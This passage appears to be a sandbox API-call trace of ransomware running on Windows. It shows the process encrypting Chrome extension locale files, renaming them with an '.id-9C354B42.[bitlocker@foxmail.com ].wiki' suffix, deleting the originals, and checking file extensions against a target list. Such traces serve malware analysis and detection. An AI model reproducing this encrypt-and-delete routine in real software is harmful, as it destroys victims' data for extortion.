lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xce, lpOverlapped=0x0) returned 1 [0173.374] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0173.377] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.377] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.377] SetEndOfFile (hFile=0x1b4) returned 1 [0173.378] CloseHandle (hObject=0x1b4) returned 1 [0173.378] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.378] SetEndOfFile (hFile=0x1a0) returned 1 [0173.378] CloseHandle (hObject=0x1a0) returned 1 [0173.379] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.379] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json")) returned 1 [0173.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.379] lstrlenW (lpString=".doc") returned 4 [0173.379] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.379] lstrlenW (lpString=".docx") returned 5 [0173.379] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.379] lstrlenW (lpString=".pdf") returned 4 [0173.379] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.379] lstrlenW (lpString=".xls") returned 4 [0173.379] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.379] lstrlenW (lpString=".xlsx") returned 5 [0173.379] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.379] lstrlenW (lpString=".ppt") returned 4 [0173.379] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.380] lstrlenW (lpString=".zip") returned 4 [0173.380] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.380] lstrlenW (lpString=".rar") returned 4 [0173.380] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.380] lstrlenW (lpString=".bz2") returned 4 [0173.380] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.380] lstrlenW (lpString=".7z") returned 3 [0173.380] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.380] lstrlenW (lpString=".dbf") returned 4 [0173.380] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.380] lstrlenW (lpString=".1cd") returned 4 [0173.380] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.380] lstrlenW (lpString=".jpg") returned 4 [0173.380] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.380] lstrlenW (lpString=".doc") returned 4 [0173.380] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.380] lstrlenW (lpString=".docx") returned 5 [0173.380] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.380] lstrlenW (lpString=".pdf") returned 4 [0173.380] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.380] lstrlenW (lpString=".xls") returned 4 [0173.380] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.380] lstrlenW (lpString=".xlsx") returned 5 [0173.380] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.380] lstrlenW (lpString=".ppt") returned 4 [0173.381] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.381] lstrlenW (lpString=".zip") returned 4 [0173.381] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.381] lstrlenW (lpString=".rar") returned 4 [0173.381] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.381] lstrlenW (lpString=".bz2") returned 4 [0173.381] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.381] lstrlenW (lpString=".7z") returned 3 [0173.381] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.381] lstrlenW (lpString=".dbf") returned 4 [0173.381] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.381] lstrlenW (lpString=".1cd") returned 4 [0173.381] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0173.381] lstrlenW (lpString=".jpg") returned 4 [0173.381] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.381] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.381] lstrlenW (lpString="messages.json") returned 13 [0173.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.382] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=208) returned 1 [0173.382] CloseHandle (hObject=0x1a0) returned 1 [0173.382] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0173.382] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.382] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.382] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.383] GetLastError () returned 0x0 [0173.383] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xd0, lpOverlapped=0x0) returned 1 [0173.384] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.385] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.385] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.385] SetEndOfFile (hFile=0x1b4) returned 1 [0173.385] CloseHandle (hObject=0x1b4) returned 1 [0173.385] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.385] SetEndOfFile (hFile=0x1a0) returned 1 [0173.386] CloseHandle (hObject=0x1a0) returned 1 [0173.386] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.386] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 1 [0173.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.387] lstrlenW (lpString=".doc") returned 4 [0173.387] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.387] lstrlenW (lpString=".docx") returned 5 [0173.387] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.387] lstrlenW (lpString=".pdf") returned 4 [0173.387] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.387] lstrlenW (lpString=".xls") returned 4 [0173.387] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.387] lstrlenW (lpString=".xlsx") returned 5 [0173.387] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.387] lstrlenW (lpString=".ppt") returned 4 [0173.387] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.387] lstrlenW (lpString=".zip") returned 4 [0173.387] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.387] lstrlenW (lpString=".rar") returned 4 [0173.387] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.387] lstrlenW (lpString=".bz2") returned 4 [0173.387] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.387] lstrlenW (lpString=".7z") returned 3 [0173.387] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.387] lstrlenW (lpString=".dbf") returned 4 [0173.387] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.387] lstrlenW (lpString=".1cd") returned 4 [0173.387] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.388] lstrlenW (lpString=".jpg") returned 4 [0173.388] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.388] lstrlenW (lpString=".doc") returned 4 [0173.388] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.388] lstrlenW (lpString=".docx") returned 5 [0173.388] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.388] lstrlenW (lpString=".pdf") returned 4 [0173.388] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.388] lstrlenW (lpString=".xls") returned 4 [0173.388] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.388] lstrlenW (lpString=".xlsx") returned 5 [0173.388] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.388] lstrlenW (lpString=".ppt") returned 4 [0173.388] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.388] lstrlenW (lpString=".zip") returned 4 [0173.388] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.388] lstrlenW (lpString=".rar") returned 4 [0173.388] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.388] lstrlenW (lpString=".bz2") returned 4 [0173.388] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.388] lstrlenW (lpString=".7z") returned 3 [0173.388] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.388] lstrlenW (lpString=".dbf") returned 4 [0173.389] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.389] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.389] lstrlenW (lpString=".1cd") returned 4 [0173.389] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.389] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0173.389] lstrlenW (lpString=".jpg") returned 4 [0173.389] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.389] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.389] lstrlenW (lpString="messages.json") returned 13 [0173.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.389] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=213) returned 1 [0173.389] CloseHandle (hObject=0x1a0) returned 1 [0173.389] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json")) returned 0x2020 [0173.390] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.390] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.390] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.390] GetLastError () returned 0x0 [0173.390] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xd5, lpOverlapped=0x0) returned 1 [0173.391] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.392] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.392] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.392] SetEndOfFile (hFile=0x1b4) returned 1 [0173.392] CloseHandle (hObject=0x1b4) returned 1 [0173.393] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.393] SetEndOfFile (hFile=0x1a0) returned 1 [0173.393] CloseHandle (hObject=0x1a0) returned 1 [0173.393] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.394] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json")) returned 1 [0173.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.394] lstrlenW (lpString=".doc") returned 4 [0173.394] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.394] lstrlenW (lpString=".docx") returned 5 [0173.394] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.394] lstrlenW (lpString=".pdf") returned 4 [0173.394] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.394] lstrlenW (lpString=".xls") returned 4 [0173.394] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.394] lstrlenW (lpString=".xlsx") returned 5 [0173.394] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.394] lstrlenW (lpString=".ppt") returned 4 [0173.394] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.394] lstrlenW (lpString=".zip") returned 4 [0173.394] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.394] lstrlenW (lpString=".rar") returned 4 [0173.394] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.394] lstrlenW (lpString=".bz2") returned 4 [0173.394] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.566] lstrlenW (lpString=".7z") returned 3 [0173.566] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 